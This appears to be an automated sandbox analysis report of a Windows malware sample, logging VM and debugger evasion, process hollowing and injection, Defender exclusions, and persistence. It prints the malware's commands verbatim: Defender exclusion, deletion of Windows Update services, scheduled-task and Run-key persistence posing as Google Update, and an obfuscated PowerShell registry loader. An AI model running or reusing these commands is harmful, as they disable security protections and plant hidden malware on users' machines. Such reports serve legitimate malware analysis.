Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: GoogleUpdate.exe, 00000026.00000002.648924890.0000000003532000.00000020.00001000.00020000.00000000.sdmp

Binary or memory string: PSBIEDLL.DLL

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect virtualization through RDTSC time measurements

Source: C:\Windows\GoogleUpdate.exe	RDTSC instruction interceptor: First address: 0000000003914B4D second address: 0000000003914B5C instructions: 0x00000000 rdtsc 0x00000002 movzx dx, bl 0x00000006 bswap eax 0x00000008 inc cl 0x0000000a setnle dh 0x0000000d xor bl, cl 0x0000000f rdtsc
Source: C:\Windows\GoogleUpdate.exe	RDTSC instruction interceptor: First address: 00000000035EF2D0 second address: 00000000035EF2DF instructions: 0x00000000 rdtsc 0x00000002 movzx dx, bl 0x00000006 bswap eax 0x00000008 inc cl 0x0000000a setnle dh 0x0000000d xor bl, cl 0x0000000f rdtsc
Source: C:\Windows\GoogleUpdate.exe	RDTSC instruction interceptor: First address: 000000000373C131 second address: 000000000373C135 instructions: 0x00000000 rdtsc 0x00000002 pop ebx 0x00000003 pop ecx 0x00000004 rdtsc

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Source: C:\Users\user\Desktop\FKN6uh7y01.exe TID: 6056	Thread sleep count: 9999 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 46852	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 46856	Thread sleep count: 9501 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2408	Thread sleep count: 9481 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 46460	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Users\user\AppData\Local\Google\ofg.exe TID: 46972	Thread sleep count: 2407 > 30
Source: C:\Users\user\AppData\Local\Google\ofg.exe TID: 3748	Thread sleep count: 1000 > 30
Source: C:\Users\user\AppData\Local\Google\chrome.exe TID: 5956	Thread sleep time: -120000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6016	Thread sleep count: 1176 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3232	Thread sleep count: 8958 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6256	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2620	Thread sleep count: 9142 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6228	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Users\user\AppData\Local\Google\chrome.exe TID: 6008	Thread sleep time: -120000s >= -30000s
Source: C:\Windows\GoogleUpdate.exe TID: 6744	Thread sleep time: -2400000s >= -30000s
Source: C:\Users\user\AppData\Local\Google\chrome.exe TID: 6420	Thread sleep time: -120000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7016	Thread sleep count: 4625 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7268	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7044	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7192	Thread sleep count: 1092 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7224	Thread sleep count: 7330 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7312	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7312	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Google\ofg.exe

Thread sleep count: Count: 2407 delay: -10

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\GoogleUpdate.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Program Files\Google\Chrome\updater.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\FKN6uh7y01.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\GoogleUpdate.exe	Thread delayed: delay time: 300000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Window / User API: threadDelayed 9999	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Window / User API: threadDelayed 9501	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9481
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Window / User API: threadDelayed 2407
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Window / User API: threadDelayed 1000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1176
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8958
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9142
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4625
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1092
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7330

Source: C:\Users\user\AppData\Local\Google\brave.exe

API coverage: 9.4 %

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Registry key enumerated: More than 150 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Thread delayed: delay time: 120000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Thread delayed: delay time: 120000
Source: C:\Windows\GoogleUpdate.exe	Thread delayed: delay time: 300000
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Thread delayed: delay time: 120000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\FKN6uh7y01.exe

API call chain: ExitProcess graph end node

Source: ModuleAnalysisCache.23.dr	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: GoogleUpdate.exe, 00000026.00000002.604246050.0000000001062000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8/
Source: vbc.exe, 00000002.00000002.428061257.0000000004DE1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll6B
Source: ModuleAnalysisCache.23.dr	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: GoogleUpdate.exe, 00000026.00000003.481080464.0000000001087000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000002.605569627.0000000001087000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ModuleAnalysisCache.23.dr	Binary or memory string: Get-NetEventVmNetworkAdapter

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\FKN6uh7y01.exe

0_2_0041B5BC

Source: C:\Users\user\Desktop\FKN6uh7y01.exe

Code function: 0_2_00427154 mov eax, dword ptr fs:[00000030h]

0_2_00427154

Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\FKN6uh7y01.exe

Code function: 0_2_0040F839 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_0040F839

Source: C:\Users\user\AppData\Local\Google\brave.exe

Code function: 6_2_00007FF77BEF6EE0 GetLastError,FormatMessageA,IsDebuggerPresent,OutputDebugStringA,OutputDebugStringA,OutputDebugStringA,LocalFree,

6_2_00007FF77BEF6EE0

Source: C:\Users\user\AppData\Local\Google\brave.exe

Code function: 6_2_00007FF77BEE43C0 SHGetFolderPathW,GetFileSize,GetProcessHeap,HeapAlloc,RtlAllocateHeap,

6_2_00007FF77BEE43C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: 0_2_00416077 SetUnhandledExceptionFilter,	0_2_00416077
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: 0_2_0040F839 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0040F839
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: 0_2_0040FA30 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0040FA30
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: 0_2_00412424 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00412424
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: 0_2_0040CFF8 _abort,__NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0040CFF8
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 6_2_00007FF77BEE1190 Sleep,Sleep,SetUnhandledExceptionFilter,malloc,malloc,memcpy,_initterm,GetStartupInfoW,exit,	6_2_00007FF77BEE1190

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Google\brave.exe

Section loaded: C:\Users\user\AppData\Local\Temp\33C5.tmp target: C:\Windows\System32\dialer.exe protection: readonly

Encrypted powershell cmdline option found

Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath @('C:\Users\Revelin', 'C:\Program Files') -Force
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: Base64 decoded Set-MpPreference -SubmitSamplesConsent 2
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath @('C:\Users\Revelin', 'C:\Program Files') -Force
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: Base64 decoded Set-MpPreference -SubmitSamplesConsent 2

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 4B60000 protect: page execute and read and write			Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory allocated: C:\Windows\GoogleUpdate.exe base: 1150000 protect: page execute and read and write

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 4B60000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: 1150000 value starts with: 4D5A

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\FKN6uh7y01.exe

Code function: 0_2_00427189 CreateProcessW,GetThreadContext,ReadProcessMemory,VirtualAlloc,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualProtectEx,VirtualFree,WriteProcessMemory,SetThreadContext,

0_2_00427189

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: C:\Program Files\Google\Chrome\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: C:\Program Files\Google\Chrome\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

Sample uses process hollowing technique

Source: C:\Users\user\AppData\Local\Google\chrome.exe

Section unmapped: C:\Windows\GoogleUpdate.exe base address: 1150000

Writes to foreign memory regions

Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 4B60000	Jump to behavior
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 4950008	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\brave.exe	Memory written: C:\Windows\System32\dialer.exe base: 2A30ABC010
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: 1150000
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: 1151000
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: 1161000
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: 16D0000
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: 16D2000
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: 16DF000

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Local\Google\brave.exe

Thread register set: target process: 6828

Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\cmd.exe cmd /c sc stop usosvc & sc stop waasmedicsvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "hklm\system\currentcontrolset\services\usosvc" /f & reg delete "hklm\system\currentcontrolset\services\waasmedicsvc" /f & reg delete "hklm\system\currentcontrolset\services\wuauserv" /f & reg delete "hklm\system\currentcontrolset\services\bits" /f & reg delete "hklm\system\currentcontrolset\services\dosvc" /f
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell <#ecgxrz#> if((new-object security.principal.windowsprincipal([security.principal.windowsidentity]::getcurrent())).isinrole([security.principal.windowsbuiltinrole]::administrator)) { if([system.environment]::osversion.version -lt [system.version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'system' /tn 'googleupdatetaskmachineqc' /tr '''c:\program files\google\chrome\updater.exe'''" } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\program files\google\chrome\updater.exe') -trigger (new-scheduledtasktrigger -atstartup) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'googleupdatetaskmachineqc' -user 'system' -runlevel 'highest' -force; } } else { reg add "hkcu\software\microsoft\windows\currentversion\run" /v "googleupdatetaskmachineqc" /t reg_sz /f /d 'c:\program files\google\chrome\updater.exe' }
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell <#wajvhwink#> if((new-object security.principal.windowsprincipal([security.principal.windowsidentity]::getcurrent())).isinrole([security.principal.windowsbuiltinrole]::administrator)) { schtasks /run /tn "googleupdatetaskmachineqc" } else { "c:\program files\google\chrome\updater.exe" }
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\syswow64\windowspowershell\v1.0\powershell.exe ".(\"{1}{0}\" -f 'et','s') (\"6t\"+\"o\") ([type](\"{2}{0}{4}{1}{3}\" -f'e','mbl','refl','y','ction.asse') ) ; $dlr4s = [type](\"{3}{1}{2}{4}{0}\"-f'ry','osoft.w','in32.r','micr','egist') ; $6to::(\"{0}{1}\" -f 'l','oad').invoke( (.(\"{1}{2}{0}\" -f 't-item','g','e') (\"vari\"+\"ab\"+\"le\"+\":dlr4s\") ).\"va`lue\"::\"loc`alm`achine\".(\"{2}{1}{0}\" -f 'ey','ubk','opens').invoke((\"{1}{0}\"-f'e','softwar')).(\"{1}{0}{2}\" -f'u','getval','e').invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"ent`ryp`oint\".\"in`voke\"(${n`ull},${n`ull})"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe ".(\"{1}{0}\" -f 'et','s') (\"6t\"+\"o\") ([type](\"{2}{0}{4}{1}{3}\" -f'e','mbl','refl','y','ction.asse') ) ; $dlr4s = [type](\"{3}{1}{2}{4}{0}\"-f'ry','osoft.w','in32.r','micr','egist') ; $6to::(\"{0}{1}\" -f 'l','oad').invoke( (.(\"{1}{2}{0}\" -f 't-item','g','e') (\"vari\"+\"ab\"+\"le\"+\":dlr4s\") ).\"va`lue\"::\"loc`alm`achine\".(\"{2}{1}{0}\" -f 'ey','ubk','opens').invoke((\"{1}{0}\"-f'e','softwar')).(\"{1}{0}{2}\" -f'u','getval','e').invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"ent`ryp`oint\".\"in`voke\"(${n`ull},${n`ull})"
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\cmd.exe cmd /c sc stop usosvc & sc stop waasmedicsvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "hklm\system\currentcontrolset\services\usosvc" /f & reg delete "hklm\system\currentcontrolset\services\waasmedicsvc" /f & reg delete "hklm\system\currentcontrolset\services\wuauserv" /f & reg delete "hklm\system\currentcontrolset\services\bits" /f & reg delete "hklm\system\currentcontrolset\services\dosvc" /f
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell <#ecgxrz#> if((new-object security.principal.windowsprincipal([security.principal.windowsidentity]::getcurrent())).isinrole([security.principal.windowsbuiltinrole]::administrator)) { if([system.environment]::osversion.version -lt [system.version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'system' /tn 'googleupdatetaskmachineqc' /tr '''c:\program files\google\chrome\updater.exe'''" } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\program files\google\chrome\updater.exe') -trigger (new-scheduledtasktrigger -atstartup) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'googleupdatetaskmachineqc' -user 'system' -runlevel 'highest' -force; } } else { reg add "hkcu\software\microsoft\windows\currentversion\run" /v "googleupdatetaskmachineqc" /t reg_sz /f /d 'c:\program files\google\chrome\updater.exe' }
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell <#wajvhwink#> if((new-object security.principal.windowsprincipal([security.principal.windowsidentity]::getcurrent())).isinrole([security.principal.windowsbuiltinrole]::administrator)) { schtasks /run /tn "googleupdatetaskmachineqc" } else { "c:\program files\google\chrome\updater.exe" }

Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\brave.exe "C:\Users\user\AppData\Local\Google\brave.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\ofg.exe "C:\Users\user\AppData\Local\Google\ofg.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\chrome.exe "C:\Users\user\AppData\Local\Google\chrome.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\GoogleUpdate.exe C:\Windows\GoogleUpdate.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop WaaSMedicSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop wuauserv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop bits
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop dosvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC

Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	0_2_0041A8B3
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,_ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itoa_s,	0_2_0041A956
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: GetLocaleInfoA,	0_2_00418972
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	0_2_0041A91A
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: GetLocaleInfoA,GetLocaleInfoA,_LocaleUpdate::_LocaleUpdate,___ascii_strnicmp,__tolower_l,__tolower_l,	0_2_0041C935
